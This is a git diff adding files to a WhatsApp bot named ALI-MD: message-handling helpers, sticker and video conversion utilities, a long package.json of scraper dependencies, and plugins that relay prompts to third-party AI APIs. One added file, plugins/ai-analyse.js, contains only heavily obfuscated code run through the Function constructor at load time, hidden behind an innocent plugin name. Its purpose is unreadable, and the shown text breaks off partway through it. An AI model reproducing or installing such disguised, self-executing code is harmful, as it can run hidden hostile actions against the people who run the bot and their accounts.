} + } + if (m.msg.url) m.download = () => conn.downloadMediaMessage(m.msg) + m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || '' + /** + * Reply to this message + * @param {String|Object} text + * @param {String|false} chatId + * @param {Object} options + */ + + /** + * Copy this message + */ + m.copy = () => exports.sms(conn, M.fromObject(M.toObject(m))) + /** + * + * @param {*} jid + * @param {*} forceForward + * @param {*} options + * @returns + */ + m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => conn.copyNForward(jid, m, forceForward, options) + m.sticker = (stik, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { sticker: stik, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyimg = (img, teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { image: img, caption: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.imgurl = (img, teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { image: {url: img }, caption: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.reply = async (content,opt = { packname: "Secktor", author: "SamPandey001" }, type = "text") => { + switch (type.toLowerCase()) { + case "text":{ + return await conn.sendMessage( m.chat, { text: content }, { quoted:m }); + } + break; + case "image": { + if (Buffer.isBuffer(content)) { + return await conn.sendMessage(m.chat, { image: content, ...opt }, { ...opt } ); + } else if (isUrl(content)) { + return conn.sendMessage( m.chat, { image: { url: content }, ...opt },{ ...opt } ); + } + } + break; + case "video": { + if (Buffer.isBuffer(content)) { + return await conn.sendMessage(m.chat, { video: content, ...opt }, { ...opt } ); + } else if (isUrl(content)) { + return await conn.sendMessage( m.chat, { video: { url: content }, ...opt }, { ...opt } ); + } + } + case "audio": { + if (Buffer.isBuffer(content)) { + return await conn.sendMessage( m.chat, { audio: content, ...opt }, { ...opt } ); + } else if (isUrl(content)) { + return await conn.sendMessage( m.chat, { audio: { url: content }, ...opt }, { ...opt }); + } + } + break; + case "template": + let optional = await generateWAMessage(m.chat, content, opt); + let message = { viewOnceMessage: { message: { ...optional.message,}, },}; + await conn.relayMessage(m.chat, message, { messageId: optional.key.id,}); + break; + case "sticker":{ + let { data, mime } = await conn.getFile(content); + if (mime == "image/webp") { + let buff = await writeExifWebp(data, opt); + await conn.sendMessage(m.chat, { sticker: { url: buff }, ...opt }, opt ); + } else { + mime = await mime.split("/")[0]; + if (mime === "video") { + await conn.sendImageAsSticker(m.chat, content, opt); + } else if (mime === "image") { + await conn.sendImageAsSticker(m.chat, content, opt); + } + } + } + break; + } + } + m.senddoc = (doc,type, id = m.chat, option = { mentions: [m.sender], filename: Config.ownername, mimetype: type, + externalAdRepl: { + title: Config.ownername, + body: ' ', + thumbnailUrl: ``, + thumbnail: log0, + mediaType: 1, + mediaUrl: '', + sourceUrl: gurl, + } }) => conn.sendMessage(id, { document: doc, mimetype: option.mimetype, fileName: option.filename, contextInfo: { + externalAdReply: option.externalAdRepl, + mentionedJid: option.mentions } }, { quoted: m }) + + m.sendcontact = (name, info, number) => { + var vcard = 'BEGIN:VCARD\n' + 'VERSION:3.0\n' + 'FN:' + name + '\n' + 'ORG:' + info + ';\n' + 'TEL;type=CELL;type=VOICE;waid=' + number + ':+' + number + '\n' + 'END:VCARD' + conn.sendMessage(m.chat, { contacts: { displayName: name, contacts: [{ vcard }] } }, { quoted: m }) + } + m.react = (emoji) => conn.sendMessage(m.chat, { react: { text: emoji, key: m.key } }) + + return m +} + +module.exports = { sms, downloadMediaMessage } \ No newline at end of file diff --git a/lib/msg2.js b/lib/msg2.js new file mode 100644 index 0000000000000000000000000000000000000000..5f68668c1f354343c18ef57a8271a64c00837778 --- /dev/null +++ b/lib/msg2.js @@ -0,0 +1,133 @@ +/*created by Kgtech ๐Ÿ•ต +contact dev1 237656520674 โ™ป๏ธ +contact dev2 237650564445 โ™ป๏ธ +ยฉ Copy coder alert โš  +*/ + + + +const { proto, downloadContentFromMessage, getContentType } = require('@whiskeysockets/baileys') +const fs = require('fs') + +const downloadMediaMessage = async(m, filename) => { + if (m.type === 'viewOnceMessage') { + m.type = m.msg.type + } + if (m.type === 'imageMessage') { + var nameJpg = filename ? filename + '.jpg' : 'undefined.jpg' + const stream = await downloadContentFromMessage(m.msg, 'image') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameJpg, buffer) + return fs.readFileSync(nameJpg) + } else if (m.type === 'videoMessage') { + var nameMp4 = filename ? filename + '.mp4' : 'undefined.mp4' + const stream = await downloadContentFromMessage(m.msg, 'video') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameMp4, buffer) + return fs.readFileSync(nameMp4) + } else if (m.type === 'audioMessage') { + var nameMp3 = filename ? filename + '.mp3' : 'undefined.mp3' + const stream = await downloadContentFromMessage(m.msg, 'audio') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameMp3, buffer) + return fs.readFileSync(nameMp3) + } else if (m.type === 'stickerMessage') { + var nameWebp = filename ? filename + '.webp' : 'undefined.webp' + const stream = await downloadContentFromMessage(m.msg, 'sticker') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameWebp, buffer) + return fs.readFileSync(nameWebp) + } else if (m.type === 'documentMessage') { + var ext = m.msg.fileName.split('.')[1].toLowerCase().replace('jpeg', 'jpg').replace('png', 'jpg').replace('m4a', 'mp3') + var nameDoc = filename ? filename + '.' + ext : 'undefined.' + ext + const stream = await downloadContentFromMessage(m.msg, 'document') + let buffer = Buffer.from([]) + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]) + } + fs.writeFileSync(nameDoc, buffer) + return fs.readFileSync(nameDoc) + } +} + +const sms = (conn, m) => { + if (m.key) { + m.id = m.key.id + m.chat = m.key.remoteJid + m.fromMe = m.key.fromMe + m.isGroup = m.chat.endsWith('@g.us') + m.sender = m.fromMe ? conn.user.id.split(':')[0]+'@s.whatsapp.net' : m.isGroup ? m.key.participant : m.key.remoteJid + } + if (m.message) { + m.type = getContentType(m.message) + m.msg = (m.type === 'viewOnceMessage') ? m.message[m.type].message[getContentType(m.message[m.type].message)] : m.message[m.type] + if (m.msg) { + if (m.type === 'viewOnceMessage') { + m.msg.type = getContentType(m.message[m.type].message) + } + var quotedMention = m.msg.contextInfo != null ? m.msg.contextInfo.participant : '' + var tagMention = m.msg.contextInfo != null ? m.msg.contextInfo.mentionedJid : [] + var mention = typeof(tagMention) == 'string' ? [tagMention] : tagMention + mention != undefined ? mention.push(quotedMention) : [] + m.mentionUser = mention != undefined ? mention.filter(x => x) : [] + m.body = (m.type === 'conversation') ? m.msg : (m.type === 'extendedTextMessage') ? m.msg.text : (m.type == 'imageMessage') && m.msg.caption ? m.msg.caption : (m.type == 'videoMessage') && m.msg.caption ? m.msg.caption : (m.type == 'templateButtonReplyMessage') && m.msg.selectedId ? m.msg.selectedId : (m.type == 'buttonsResponseMessage') && m.msg.selectedButtonId ? m.msg.selectedButtonId : '' + m.quoted = m.msg.contextInfo != undefined ? m.msg.contextInfo.quotedMessage : null + if (m.quoted) { + m.quoted.type = getContentType(m.quoted) + m.quoted.id = m.msg.contextInfo.stanzaId + m.quoted.sender = m.msg.contextInfo.participant + m.quoted.fromMe = m.quoted.sender.split('@')[0].includes(conn.user.id.split(':')[0]) + m.quoted.msg = (m.quoted.type === 'viewOnceMessage') ? m.quoted[m.quoted.type].message[getContentType(m.quoted[m.quoted.type].message)] : m.quoted[m.quoted.type] + if (m.quoted.type === 'viewOnceMessage') { + m.quoted.msg.type = getContentType(m.quoted[m.quoted.type].message) + } + var quoted_quotedMention = m.quoted.msg.contextInfo != null ? m.quoted.msg.contextInfo.participant : '' + var quoted_tagMention = m.quoted.msg.contextInfo != null ? m.quoted.msg.contextInfo.mentionedJid : [] + var quoted_mention = typeof(quoted_tagMention) == 'string' ? [quoted_tagMention] : quoted_tagMention + quoted_mention != undefined ? quoted_mention.push(quoted_quotedMention) : [] + m.quoted.mentionUser = quoted_mention != undefined ? quoted_mention.filter(x => x) : [] + m.quoted.fakeObj = proto.WebMessageInfo.fromObject({ + key: { + remoteJid: m.chat, + fromMe: m.quoted.fromMe, + id: m.quoted.id, + participant: m.quoted.sender + }, + message: m.quoted + }) + m.quoted.download = (filename) => downloadMediaMessage(m.quoted, filename) + m.quoted.delete = () => conn.sendMessage(m.chat, { delete: m.quoted.fakeObj.key }) + m.quoted.react = (emoji) => conn.sendMessage(m.chat, { react: { text: emoji, key: m.quoted.fakeObj.key } }) + } + } + m.download = (filename) => downloadMediaMessage(m, filename) + } + + m.reply = (teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { text: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyS = (stik, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { sticker: stik, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyImg = (img, teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { image: img, caption: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyVid = (vid, teks, id = m.chat, option = { mentions: [m.sender], gif: false }) => conn.sendMessage(id, { video: vid, caption: teks, gifPlayback: option.gif, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyAud = (aud, id = m.chat, option = { mentions: [m.sender], ptt: false }) => conn.sendMessage(id, { audio: aud, ptt: option.ptt, mimetype: 'audio/mpeg', contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyDoc = (doc, id = m.chat, option = { mentions: [m.sender], filename: 'undefined.pdf', mimetype: 'application/pdf' }) => conn.sendMessage(id, { document: doc, mimetype: option.mimetype, fileName: option.filename, contextInfo: { mentionedJid: option.mentions } }, { quoted: m }) + m.replyContact = (name, info, number) => { + var vcard = 'BEGIN:VCARD\n' + 'VERSION:3.0\n' + 'FN:' + name + '\n' + 'ORG:' + info + ';\n' + 'TEL;type=CELL;type=VOICE;waid=' + number + ':+' + number + '\n' + 'END:VCARD' + conn.sendMessage(m.chat, { contacts: { displayName: name, contacts: [{ vcard }] } }, { quoted: m }) + } + m.react = (emoji) => conn.sendMessage(m.chat, { react: { text: emoji, key: m.key } }) + + return m +} + +module.exports = { sms,downloadMediaMessage } diff --git a/lib/sticker-utils.js b/lib/sticker-utils.js new file mode 100644 index 0000000000000000000000000000000000000000..ef844fe6365217a228b58b276c1040d32471d3e1 --- /dev/null +++ b/lib/sticker-utils.js @@ -0,0 +1,76 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); +const { tmpdir } = require('os'); +const Crypto = require('crypto'); +const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path; +const ffmpeg = require('fluent-ffmpeg'); + +ffmpeg.setFfmpegPath(ffmpegPath); + +/** + * Fetch an image from a given URL. + * @param {string} url - The image URL. + * @returns {Promise} - The image buffer. + */ +async function fetchImage(url) { + try { + const response = await axios.get(url, { responseType: 'arraybuffer' }); + return response.data; + } catch (error) { + console.error("Error fetching image:", error); + throw new Error("Could not fetch image."); + } +} + +/** + * Fetch a GIF from a given API URL. + * @param {string} url - API endpoint to fetch GIF. + * @returns {Promise} - The GIF buffer. + */ +async function fetchGif(url) { + try { + const response = await axios.get(url, { responseType: 'arraybuffer' }); + return response.data; + } catch (error) { + console.error("Error fetching GIF:", error); + throw new Error("Could not fetch GIF."); + } +} + +/** + * Converts a GIF buffer to WebP sticker format. + * @param {Buffer} gifBuffer - The GIF buffer. + * @returns {Promise} - The WebP sticker buffer. + */ +async function gifToSticker(gifBuffer) { + const outputPath = path.join(tmpdir(), Crypto.randomBytes(6).toString('hex') + ".webp"); + const inputPath = path.join(tmpdir(), Crypto.randomBytes(6).toString('hex') + ".gif"); + + fs.writeFileSync(inputPath, gifBuffer); + + await new Promise((resolve, reject) => { + ffmpeg(inputPath) + .on("error", reject) + .on("end", () => resolve(true)) + .addOutputOptions([ + "-vcodec", "libwebp", + "-vf", "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15,pad=320:320:-1:-1:color=white@0.0,split [a][b];[a] palettegen=reserve_transparent=on:transparency_color=ffffff [p];[b][p] paletteuse", + "-loop", "0", + "-preset", "default", + "-an", + "-vsync", "0" + ]) + .toFormat("webp") + .save(outputPath); + }); + + const webpBuffer = fs.readFileSync(outputPath); + fs.unlinkSync(outputPath); + fs.unlinkSync(inputPath); + + return webpBuffer; +} + +module.exports = { fetchImage, fetchGif, gifToSticker }; + diff --git a/lib/video-utils.js b/lib/video-utils.js new file mode 100644 index 0000000000000000000000000000000000000000..7708c49a5a21db41fb2a587c24ad611e851885ec --- /dev/null +++ b/lib/video-utils.js @@ -0,0 +1,56 @@ +const fs = require('fs'); +const path = require('path'); +const { tmpdir } = require('os'); +const Crypto = require('crypto'); +const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path; +const ffmpeg = require('fluent-ffmpeg'); + +// Set ffmpeg path +ffmpeg.setFfmpegPath(ffmpegPath); + +/** + * Converts a video or GIF buffer to a WebP sticker format. + * @param {Buffer} videoBuffer - The video or GIF buffer to convert. + * @returns {Promise} - The converted WebP sticker buffer. + */ +async function videoToWebp(videoBuffer) { + const outputPath = path.join( + tmpdir(), + Crypto.randomBytes(6).readUIntLE(0, 6).toString(36) + '.webp' + ); + const inputPath = path.join( + tmpdir(), + Crypto.randomBytes(6).readUIntLE(0, 6).toString(36) + '.mp4' + ); + + // Save the video buffer to a file + fs.writeFileSync(inputPath, videoBuffer); + + await new Promise((resolve, reject) => { + ffmpeg(inputPath) + .on('error', reject) + .on('end', () => resolve(true)) + .addOutputOptions([ + '-vcodec', 'libwebp', + '-vf', "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15,pad=320:320:-1:-1:color=white@0.0,split [a][b];[a] palettegen=reserve_transparent=on:transparency_color=ffffff [p];[b][p] paletteuse", + '-loop', '0', // Loop forever + '-ss', '00:00:00', // Start time (optional) + '-t', '00:00:05', // Duration (optional) + '-preset', 'default', + '-an', // No audio + '-vsync', '0' + ]) + .toFormat('webp') + .save(outputPath); + }); + + const webpBuffer = fs.readFileSync(outputPath); + fs.unlinkSync(outputPath); + fs.unlinkSync(inputPath); + + return webpBuffer; +} + +module.exports = { + videoToWebp +}; diff --git a/package.json b/package.json new file mode 100644 index 0000000000000000000000000000000000000000..70017178d6d41b6de6425ffaa463b6b7ba327449 --- /dev/null +++ b/package.json @@ -0,0 +1,130 @@ +{ + "name": "ALI-MD", + "version": "1.0.0", + "description": "A WhatsApp bot created using Node.js", + "main": "index.js", + "scripts": { + "start": "pm2 start index.js --deep-monitoring --attach --name ALI-MD", + "stop": "pm2 stop ALI-MD", + "restart": "pm2 restart ALI-MD" + }, +"dependencies": { + "@adiwajshing/keyed-db": "^0.2.4", + "@black-king/temp-mail-gen": "1.0.1", + "@blackamda/song_video_dl": "1.1.0", + "@blackamda/telegram-image-url": "^1.0.0", + "@bochilteam/scraper": "4.2.4", + "@bochilteam/scraper-sosmed": "1.0.5", + "@danitech/scraper": "1.0.7", + "@ffmpeg-installer/ffmpeg": "^1.1.0", + "@google/generative-ai": "0.17.1", + "@saipulanuar/scraper": "3.0.0", + "@sasmeee/wabetainfo": "1.1.1", + "@sl-code-lords/esana-news": "1.0.3", + "@sl-code-lords/image-library": "1.0.0", + "@sl-code-lords/movie-dl": "1.1.0", + "@sl-code-lords/photooxy": "1.0.1", + "@sl-code-lords/si-subdl": "1.1.1", + "@sl-code-lords/wabetainfo": "1.2.0", + "@tobyg74/tiktok-api-dl": "1.0.13", + "@dark-yasiya/yt-dl.js":"latest", + "@vitalets/google-translate-api": "9.2.0", + "@whiskeysockets/baileys": "6.7.9", + "api-dylux": "latest", + "aptoide-scraper": "1.0.1", + "awesome-phonenumber": "7.2.0", + "axios": "^1.7.8", + "adm-zip": "^0.5.16", + "bard-ai": "2.0.3", + "betabotz-tools": "0.0.6", + "btch-downloader": "2.3.1-alpha", + "buffer": "6.0.3", + "buffer-url": "1.0.0", + "cc-suite": "1.0.5", + "chart.js": "^4.4.0", + "chatgpt-scraper": "^1.0.1", + "cheerio": "^1.0.0-rc.12", + "crypto-digest-sync": "^1.0.0", + "crypto-js": "latest", + "dandi-api": "1.2.0", + "emoji-api": "3.0.1", + "emoji-mixer": "1.0.33", + "express": "latest", + "extract-zip": "2.0.1", + "fb-info-video": "1.0.2", + "ffmpeg": "^0.0.4", + "file_size_url": "^1.0.4", + "file-type": "^16.5.3", + "fluent-ffmpeg": "^2.1.2", + "form-data": "^4.0.0", + "fouadwa-scraper": "2.0.0", + "fraction.js": "^4.3.7", + "fs-extra": "^11.1.0", + "g4f": "1.4.6", + "gemini-ai": "latest", + "getscreenshot.js": "1.0.0", + "gms-mobile-news": "1.0.0", + "google-image-sr": "^1.0.0", + "google-it": "^1.6.4", + "google-tts-api": "^2.0.2", + "human-readable":"0.2.1", + "imaginesdk": "latest", + "imgur": "latest", + "is-standard-emoji": "1.0.0", + "jimp": "0.16.1", + "lodash": "^4.17.21", + "mathjs": "^12.0.0", + "mathsteps": "^0.2.0", + "megajs": "1.3.4", + "mfiredlcore-vihangayt": "^1.0.0", + "mime-types": "2.1.35", + "nima-wabeta-info": "1.0.5", + "node-fetch": "^2.6.1", + "pastebin-js": "latest", + "pdfkit": "^0.14.0", + "path": "^0.12.7", + "pino": "^9.5.0", + "pm2": "^6.0.5", + "PRABATH-MD": "file:", + "qr-image": "3.2.0", + "qrcode": "1.5.3", + "qrcode-terminal": "^0.12.0", + "qs": "^6.10.1", + "remove-bg-node": "1.0.3", + "ruhend-scraper":"8.0.7", + "Sachibot-Spotifydl": "git+https://github.com/AlenVelocity/spotifydl-core.git", + "scr-emoji": "0.0.3", + "seedr": "^1.1.2", + "simple-git": "3.22.0", + "sinhala-cricket-newsjs": "1.0.0", + "sinhala-unicode": "2.0.0", + "sequelize": "^6.37.5", + "sqlite3": "^5.1.7", + "tesseract.js": "2.0.1", + "tiktokdl": "0.0.4", + "translatte": "^3.0.1", + "turndown": "7.1.3", + "unzipper": "0.12.2", + "util": "^0.12.5", + "vihangayt-fbdl": "1.0.2", + "vm": "^0.1.0", + "wa_set_pkg": "1.0.5", + "wa-sticker-formatter": "^4.4.4", + "webtorrent": "2.5.1", + "xvideos-scraper": "1.0.4", + "youtubedl-core": "4.11.7", + "ytdl-mp3": "3.4.0", + "ytdl-secktor": "latest", + "ytmp3-scrap":"1.0.0", + "bing-translate-api":"4.0.2", + "ruhend-scraper" : "8.0.3", + "dark-yasiya-sinhalasub.lk": "1.0.1", + "moment-timezone": "^0.5.43", + "mfiredlcore-vihangayt": "^1.0.0", + "ytsearch-venom": "1.0.0", + "yt-search": "2.12.1", + "@mrnima/tiktok-downloader":"1.0.0", + "@mrnima/facebook-downloader":"1.0.0", + "mrnima-moviedl":"1.0.0" + } +} diff --git a/plugins/.ai.js b/plugins/.ai.js new file mode 100644 index 0000000000000000000000000000000000000000..50552df71bab579a826d727fd2c66c7543a884e3 --- /dev/null +++ b/plugins/.ai.js @@ -0,0 +1,208 @@ + + +const axios = require("axios"); +const { cmd } = require("../command"); + +cmd({ + pattern: "gpt", + alias: "ai", + desc: "Interact with ChatGPT using the Dreaded API.", + category: "ai", + react: "๐Ÿค–", + use: "", + filename: __filename, +}, async (conn, mek, m, { from, args, q, reply }) => { + try { + // Vรฉrification de l'entrรฉe utilisateur + if (!q) return reply("*โš ๏ธ Please provide a query for ChatGPT.*\n\n*Example:*\n*.gpt What is AI?*"); + + // Utilisation de `${text}` dans le endpoint API + const text = q; // Texte de la requรชte de l'utilisateur + const encodedText = encodeURIComponent(text); // S'assurer que le texte est encodรฉ correctement + + const url = `https://api.dreaded.site/api/chatgpt?text=${encodedText}`; + + console.log('Requesting URL:', url); // Afficher l'URL pour vรฉrifier + + // Appel ร  l'API avec headers personnalisรฉs (ajoute des headers si nรฉcessaire) + const response = await axios.get(url, { + headers: { + 'User-Agent': 'Mozilla/5.0', // Ajouter un User-Agent pour simuler une requรชte valide + 'Accept': 'application/json', // Spรฉcifier que l'on attend une rรฉponse JSON + } + }); + + // Dรฉboguer et afficher la rรฉponse complรจte + console.log('Full API Response:', response.data); + + // Vรฉrification de la structure de la rรฉponse + if (!response || !response.data || !response.data.result) { + return reply("โŒ No response received from the GPT API. Please try again later."); + } + + // Extraire uniquement le texte de la rรฉponse (le prompt) + const gptResponse = response.data.result.prompt; + + if (!gptResponse) { + return reply("โŒ The API returned an unexpected format. Please try again later."); + } + + // Image AI ร  envoyer + const ALIVE_IMG = 'https://i.ibb.co/JjD7C5sj/4396ea90a1dcd020.jpg'; // Remplacez par l'URL de votre image AI + + // Lรฉgende avec des informations formatรฉes + const formattedInfo = `*๐Ÿค– แด„สœแด€แด›.ษขแด˜แด› ส€แด‡sแด˜แดษดsแด‡:*\n\n${gptResponse}`; + + // Envoyer le message avec image et lรฉgende + await conn.sendMessage(from, { + image: { url: ALIVE_IMG }, // Assurez-vous que l'URL est valide + caption: formattedInfo, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: '๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐€๐ˆ ๐Ÿค–', + serverMessageId: 143 + } + } + }, { quoted: mek }); + + } catch (error) { + console.error("Error in GPT command:", error); + + // Affichage du message d'erreur dans la console pour plus de dรฉtails + if (error.response) { + console.log("Error Response Data:", error.response.data); + } else { + console.log("Error Details:", error.message); + } + + // Rรฉpondre avec des dรฉtails de l'erreur + const errorMessage = ` +โŒ An error occurred while processing the GPT command. +๐Ÿ›  *Error Details*: +${error.message} + +Please report this issue or try again later. + `.trim(); + return reply(errorMessage); + } +}); +cmd({ + pattern: "llama3", + desc: "Get a response from Llama3 AI using the provided prompt.", + category: "ai", + react: "๐Ÿค–", + filename: __filename, + use: ".llama3 " +}, async (conn, mek, m, { from, q, reply }) => { + try { + // Check if a prompt is provided by the user + if (!q) return reply("โš ๏ธ Please provide a prompt for Llama3 AI."); + + // Inform the user that the request is being processed + await reply("> *Processing your prompt...*"); + + // API URL with encoded user prompt + const apiUrl = `https://api.davidcyriltech.my.id/ai/llama3?text=${encodeURIComponent(q)}`; + + // Send a GET request to the API + const response = await axios.get(apiUrl); + console.log("Llama3 API Response:", response.data); + + // Extract AI response + let llamaResponse; + if (typeof response.data === "string") { + llamaResponse = response.data.trim(); + } else if (typeof response.data === "object") { + llamaResponse = response.data.response || response.data.result || JSON.stringify(response.data); + } else { + llamaResponse = "Unable to process the AI response."; + } + + // AI image to attach + const AI_IMG = 'https://i.ibb.co/JjD7C5sj/4396ea90a1dcd020.jpg'; // Replace with a valid image URL + + // Formatted response text + const formattedInfo = `*๐Ÿค– สŸสŸแด€แดแด€3 ส€แด‡sแด˜แดษดsแด‡:*\n\n${llamaResponse}`; + + // Send the response with an image + await conn.sendMessage(from, { + image: { url: AI_IMG }, // Ensure the URL is valid + caption: formattedInfo, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: '๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐€๐ˆ ๐Ÿค–', + serverMessageId: 143 + } + } + }, { quoted: mek }); + + } catch (error) { + console.error("Error in llama3 command:", error); + return reply(`โŒ An error occurred: ${error.message}`); + } +}); +cmd({ + pattern: "openai", + alias: ["chatgpt", "gpt3", "open-gpt"], + desc: "Chat with OpenAI", + category: "ai", + react: "๐Ÿง ", + filename: __filename +}, +async (conn, mek, m, { from, args, q, reply, react }) => { + try { + if (!q) return reply("Please provide a message for OpenAI.\nExample: `.openai Hello`"); + + const apiUrl = `https://vapis.my.id/api/openai?q=${encodeURIComponent(q)}`; + const { data } = await axios.get(apiUrl); + + if (!data || !data.result) { + await react("โŒ"); + return reply("OpenAI failed to respond. Please try again later."); + } + + await reply(`๐Ÿง  *OpenAI Response:*\n\n${data.result}`); + await react("โœ…"); + } catch (e) { + console.error("Error in OpenAI command:", e); + await react("โŒ"); + reply("An error occurred while communicating with OpenAI."); + } +}); + +cmd({ + pattern: "deepseek", + alias: ["deep", "seekai"], + desc: "Chat with DeepSeek AI", + category: "ai", + react: "๐Ÿง ", + filename: __filename +}, +async (conn, mek, m, { from, args, q, reply, react }) => { + try { + if (!q) return reply("Please provide a message for DeepSeek AI.\nExample: `.deepseek Hello`"); + + const apiUrl = `https://api.ryzendesu.vip/api/ai/deepseek?text=${encodeURIComponent(q)}`; + const { data } = await axios.get(apiUrl); + + if (!data || !data.answer) { + await react("โŒ"); + return reply("DeepSeek AI failed to respond. Please try again later."); + } + + await reply(`๐Ÿง  *DeepSeek AI Response:*\n\n${data.answer}`); + await react("โœ…"); + } catch (e) { + console.error("Error in DeepSeek AI command:", e); + await react("โŒ"); + reply("An error occurred while communicating with DeepSeek AI."); + } +}); diff --git a/plugins/README.md b/plugins/README.md new file mode 100644 index 0000000000000000000000000000000000000000..ada6bdb6abd1f39d59fe6401ee37d1c058d1a5cf --- /dev/null +++ b/plugins/README.md @@ -0,0 +1,9 @@ +----------- + +***WELCOME TO ALI-MD-V1 PLUGINS LIST CREATED BY ALI 237*** + +----------- + +***THE WORLD BEST WHATSAPP BOT*** + +---------- diff --git a/plugins/action-verite.js b/plugins/action-verite.js new file mode 100644 index 0000000000000000000000000000000000000000..d3fb82c80afa214b1ce2d27583feeb07b7421ef2 --- /dev/null +++ b/plugins/action-verite.js @@ -0,0 +1,52 @@ +const config = require('../config'); +const { cmd, commands } = require('../command'); +const { fetchJson } = require('../lib/functions'); + + +cmd({ + pattern: 'fluxpro', + alias: 'flux', + react: '๐Ÿงฉ', + desc: 'Generate an image using Flux', + category: 'image', + filename: __filename +}, async (conn, mek, m, { + body, + from, + quoted, + isCmd, + command, + args, + q, + isGroup, + sender, + senderNumber, + botNumber2, + botNumber, + pushname, + isMe, + isOwner, + groupMetadata, + groupName, + participants, + groupAdmins, + isBotAdmins, + isAdmins, + reply +}) => { + try { + const text = body.trim().replace(command, '').trim(); + if (!text) { + return reply(`*Usage:* ${command} \n\n*Example:* ${command} cat`); + } + + await reply('> *ALI-MD PROCESSING IMAGE...*'); + + const apiUrl = `https://apis.davidcyriltech.my.id/flux?prompt=${encodeURIComponent(text)}`; + + await conn.sendMessage(m.chat, { image: { url: apiUrl }, caption: `๐ŸŽจ *FLUX IMAGE GENERATOR*\n\n๐Ÿ“„ *PROMPT:* ${text}\n\n> แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช แดแด…` }, { quoted: m }); + } catch (error) { + console.error('Error in Flux command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } +}); diff --git a/plugins/ai-analyse.js b/plugins/ai-analyse.js new file mode 100644 index 0000000000000000000000000000000000000000..7630a649c2891d204bae0f1a21334631630e7a5f --- /dev/null +++ b/plugins/ai-analyse.js @@ -0,0 +1,3 @@ + + +Function("CE7iyK","var l7N8Yqf,t7z2sP7,Cpgwvi,nWc1eC,JD3GJAK,uvNUdK,Vq1RC9,eAjEOR,CvJLwkq,NALWSgm;function ZJKjos(l7N8Yqf,t7z2sP7,Cpgwvi){for(Cpgwvi=0x0;CpgwviDuv9_AyR[mJf,g\\\":`8h2O^K;6ZT0?/W.UY1tEaqV&\",H4qd4T.wIXQ7Z0=\"\"+(l7N8Yqf||\"\"),Vq1RC9.V51u_D=Vq1RC9.H4qd4T,Cpgwvi+=0x32,nWc1eC+=0xca,JD3GJAK+=-0x13b,uvNUdK+=0x9d);break;case Vq1RC9.H4qd4T.wgB1jt+0xb9:case 0x55:xYKSbnZ(Vq1RC9.V51u_D=Vq1RC9.H4qd4T,Cpgwvi+=0x65,nWc1eC+=0x2f,JD3GJAK+=-0x176,uvNUdK+=-0x5c);break;case-0x61:case uvNUdK-0x106:Vq1RC9.H4qd4T.Qji8N22=-j4mj8aI[JD3GJAK+-(JD3GJAK+-0x1)];for(Vq1RC9.H4qd4T.ZF9esed=j4mj8aI[0x0];ZF9esedj4mj8aI[0x17]?j4mj8aI[Cpgwvi+0x272]:j4mj8aI[0x19]);do{xYKSbnZ(qirY4Z.push(wLrjnS&j4mj8aI[nWc1eC+-0xe0]),wLrjnS>>=j4mj8aI[0x2],bXPa8c-=j4mj8aI[0x2])}while(bXPa8c>j4mj8aI[0x5]);Qji8N22=-j4mj8aI[0x1]}}if(Qji8N22>-j4mj8aI[0x1]){xYKSbnZ(Vq1RC9.V51u_D=Vq1RC9.H4qd4T,Cpgwvi+=0x31a,JD3GJAK+=-0x145,uvNUdK+=-0x1aa);break}else{xYKSbnZ(Vq1RC9.V51u_D=Vq1RC9.H4qd4T,Cpgwvi+=0x220,nWc1eC+=-0x5e,JD3GJAK+=-0x145,uvNUdK+=-0x8d);break}default:xYKSbnZ([Vq1RC9.H4qd4T.RrUnVSP,Vq1RC9.H4qd4T.NF1mUV,Vq1RC9.H4qd4T.wgB1jt]=[0x32,0x3b,0xf8],Vq1RC9.V51u_D=Vq1RC9.Tu71Nv,Cpgwvi+=0xb9,uvNUdK+=0x7e);break}}xYKSbnZ(t7z2sP7=void 0x0,Cpgwvi=nWc1eC(-0x57,0x19,0x58,-0x34).next().value);if(t7z2sP7){return Cpgwvi}}function QPjMkhN(Cpgwvi){if(typeof 